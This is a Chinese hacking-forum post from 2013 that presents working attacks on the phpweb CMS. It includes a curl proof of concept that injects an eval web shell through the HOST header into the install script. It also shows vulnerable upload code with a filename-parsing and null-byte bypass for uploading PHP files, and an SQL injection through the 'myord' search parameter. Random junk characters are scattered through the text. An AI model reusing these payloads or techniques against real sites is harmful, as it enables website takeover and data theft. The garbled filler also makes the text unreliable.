找回密码
 立即注册
查看: 3359|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:' |4 M9 h# v! v, }) Y
' b5 [. J3 W& B" I+ n" `0 l
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码) H( m3 a1 \$ T& O2 z6 b

! |6 n/ M' m# Y$ h) n鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
" P" F( V: h1 e/ H/ r. P鸡肋2: 有一定安全常识的站长都会删掉 install 目录9 m* s' u- g# A- D7 ~8 v4 U
& P2 W# p4 P& H: }/ M7 d) k
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
: \9 ?5 o! o9 `2 |, _
% o' {8 e, ], O# V7 }1 `. w分析:) w( q  d7 m* f$ P* `5 s9 q8 O7 Y3 ~
) I- {7 W8 V; F' f+ y$ q
. f2 }, R4 h, n% A  R- R
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤, Z6 L9 o1 O( \0 |2 H( e
3 T0 P; L6 C5 h0 C+ H
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);: I. I/ j; j2 ~1 f! ]6 p
                                            $filestr=str_replace(" ","",$filestr);4 L* o0 ~/ A: ~3 P- d$ x4 j2 T1 G
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
' d/ z1 E" b# f. ^+ l. \                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
& A6 T+ L- y! Q1 B+ ^                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
- G: j# L( ]1 Q$ }9 t9 K9 c                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);* X) V9 n# }, A/ F& U
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
8 m: U2 h) b. G$ f: F                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
( S( ~  @' p) k$ I                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);, c% i/ q! M' B1 _

/ h; u8 G- n" F                                            fwrite(fopen($ConFile,"w"),$filestr,30000);" t: U. n3 Z3 v$ W* c0 y
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
9 X, r& F  h" G' U/ F' j5 Z- K+ U 6 l' g. e# b2 d# ~
poc:
0 E# U+ E5 J# g8 X : v: `; D+ `. {3 f- j* Q0 \
?
2 r) r% O) k5 ]( x' p" p1. }* Z5 y6 W8 m. Q9 Y7 A2 |
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
4 o& n- U  \# ?; q, Y; hshell地址: /config.inc.php
& k6 b+ a# Y) n, Z+ W) ?跟之前的 phpcms一样 需要远程数据库
5 C7 E. F, r( a+ p
; o3 ?* ^5 H: f! u9 G8 L" g——————————————————–
) ?0 _* N& n% Q' @1 H5 l3 }上传漏洞(需要进后台):
# U" f" M3 g4 Y# b# K8 c6 m漏洞文件: /kedit/upload_cgi/upload.php
! h# P' H& n5 l# k& P3 G这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用& I3 Y1 d- s: F) U- x3 s! s

# z; ]5 i, d* s9 o. j( V
7 G7 Y* u$ L( j/ `8 P' u8 V2 X5 ]0 R7 @<?php
1 B. h. E( X6 ^) [) a& h. [( l9 d    define("ROOTPATH", "../../");
! _* b# E/ C4 y    include(ROOTPATH."includes/admin.inc.php");* A$ V) J- Q" d4 Z
    NeedAuth(0);: N: j# ~6 V. ^1 }% O

; l  Y" N4 ~+ y' E    $dt=date("Ymd",time());% @6 ^+ r! L- Q8 G7 w: E& i
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
8 T% J- `! I6 ]+ M. M            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);( G+ p2 X0 c7 _, d1 ]( i
    }* w5 {" d" n; h# Y

  y4 q: X' Q6 c& J9 \$ X    //文件保存目录路径# ]; G5 `* y4 C
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
, m0 k' f" V, Y6 m; j    echo $save_path;
5 g. b/ e4 f) U    //文件保存目录URL( h& r1 F: `) o, N" E
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
' b+ Y9 z" b* }
  ~" s; \) R- x" Q    //定义允许上传的文件扩展名! \* i  L+ b, N( \: O8 a: }
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
3 _" R0 Y, a" B7 @9 K ( B- W: t( q- r3 z8 s. H
    //最大文件大小, D" B  d0 ^/ d& J; c
    $max_size = 1000000;+ b4 ?9 e1 M& V$ o0 _
) G" [; k9 l; w
    //更改目录权限; ?2 m9 l8 z1 F7 w
    @mkdir($save_path, 0777);
7 U5 a+ b" q; q0 K  [) p 7 e1 o2 E! M" B8 o. O/ w% X( F' c
    //文件的全部路径- E' a: ^4 o6 `5 C% G& q4 C
    $file_path = $save_path.$_POST['fileName'];   //保存文件名. ^& T' O( G' J8 X

8 ?8 `9 ^0 |2 g9 a) b1 C9 L7 Z    //文件URL( `5 Q; A7 r$ }: j) V7 x
    $file_url = $save_url.$_POST['fileName'];
) l1 d& Q6 z) n//有上传文件时/ d3 X  L, a  w" r
    if (empty($_FILES) === false) {2 O, j- N% h9 i8 w' @

" P4 ]  f2 ^6 V; F: i. Y            //原文件名4 _/ F* ], c! W" x; H, c9 d
            $file_name = $_FILES['fileData']['name'];
& b, m. j/ A5 o, I2 j- j: }6 ^            //服务器上临时文件名
$ ^" N/ Z  ^1 `! l* h% k            $tmp_name = $_FILES['fileData']['tmp_name'];
8 Y( g& X8 \5 G+ ^+ }' k) d            //文件大小2 m) v. u: @/ D1 }+ F! x
            $file_size = $_FILES['fileData']['size'];
, D1 y. ?& J. Z! [# U3 T7 g9 m* u            //检查目录
7 z0 k, X7 B( y) s+ @& A            if (@is_dir($save_path) === false) {" P" D, g- S8 ]3 g- {% ?
                    alert("上传目录不存在。");
! M2 S# H! G0 A8 w            }7 o" j( J: x% @; s6 u
            //检查目录写权限
3 R. K; E0 x. J  ~            if (@is_writable($save_path) === false) {2 B" t! f3 H& f
                    alert("上传目录没有写权限。");! B% G/ A# U- Q. [% W) s
            }0 B' v9 W7 V# c8 O
            //检查是否已上传
6 {9 w1 i2 p% ?( J, }            if (@is_uploaded_file($tmp_name) === false) {
5 u4 C  H, ?- I- D+ N) y                    alert("临时文件可能不是上传文件。");7 F7 |- f# s* s, `' R; g
            }" \! l5 q6 l) y- f' P" y$ y
            //检查文件大小( i0 Z4 E, ], [! C" H" z
            if ($file_size > $max_size) {
  I4 T' i  a* c9 ^                    alert("上传文件大小超过限制。");) ?0 ^" w9 m' u. A' M% J% b& t
            }# H$ u. Z" w& [' s- f- v
            //获得文件扩展名
4 B* |: P+ Y& Q            $temp_arr = explode(".", $_POST['fileName']);; t" X' x& G0 }7 D' Z. R0 [8 J2 b( T
            $file_ext = array_pop($temp_arr);
% K. H0 Q: A, x0 u- z            $file_ext = trim($file_ext);& |4 |) k# {/ q# [+ k, V) X/ L
            $file_ext = strtolower($file_ext);
$ F8 a7 O- P* Q" |# r( e; [( E % `; d; A# h: o: Z! g4 ^
            //检查扩展名   
1 E5 }' k. b: Q7 i6 a/ C" T3 T            if (in_array($file_ext, $ext_arr) === false) {     
- }  V4 c9 _. @+ t- Q+ C                    alert("上传文件扩展名是不允许的扩展名。");
- r! N( Y; b0 T+ h! C            }
2 {- s3 s  c4 K8 @6 X2 Z + Y& a6 T7 P$ n7 G' a
            //移动文件   
& Z% ~+ m" v0 Q: X            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^( f, _& V9 N* Y/ a1 o' o
            if (move_uploaded_file($tmp_name, $file_path) === false) {9 s& b: X6 x  `% g
                    alert("上传文件失败。");5 g  {4 a3 ^7 q# b& w$ K1 w5 M1 q
            }# M- j/ x% d' t8 s  h( g7 ^

  z$ ?: l: `( t+ p$ p( x* N; ]            @chmod($file_path,0666);( d+ e4 K: P. w  b) e2 _5 U

0 w3 D* K1 w9 ^8 ?3 K% z; `    ?>
+ @2 j; X# ^+ t  h. ?抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
  j% V5 F9 w1 q4 H ) l4 c2 e: f: Y  ~; Y
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
9 o! j% \$ V: L
# F, P) o& j) s: O7 K& e——————————————————% t; t4 `- O5 L4 E; e4 F
注入漏洞:
- U: p) p# N% U/ L漏洞文件:search/module/search.php
# ]+ Z) e3 B, w$ D/ w/search/index.php?key=1&myord=1 [sqlinjection]
* {% E5 n# }. h" y) o  y" m
& C" z9 V- E8 F1 _( ^ # u  E' y2 Q3 C4 h+ f
<?php
) U- \7 a  n3 o4 ?4 o& g   //       ... 省略 n 行...
( ?- k" Y/ L( d" A; o# }7 J' h5 Z   //第18行:& }8 V# Q1 K4 U8 A- B" i, N
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响3 }! u# M8 s6 p! ~
           $page=htmlspecialchars($_GET["page"]);
9 [% ?5 a+ `# _           $myord=htmlspecialchars($_GET["myord"]);
3 u) `( |3 {% L& N) b5 S0 s
1 a9 k. x' n+ I  v* J2 g   //       ... 省略 n 行...% R" x% ~& o, \9 i& s* J  E
   $key,$myord 两个参数带入查询
' O  T& E: w3 B6 R2 e: H   //第47行 $key:
' L" U: z! q$ |7 |1 S! n7 H  ~) { # k" M# D3 s/ m" w, H
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..7 O8 M; V6 @+ S6 V8 h2 ~* t

( Y& A7 L* E$ `7 @5 K- V$ T   //第197行 $myord
# U1 B1 M/ Y: {+ k- [* ?. I   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入/ Z, C4 T. k1 B1 M& [

5 d+ A; B6 W  S# W8 S" D& r6 W   ?>
0 \2 H$ \5 Z& H- L( j7 h- p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表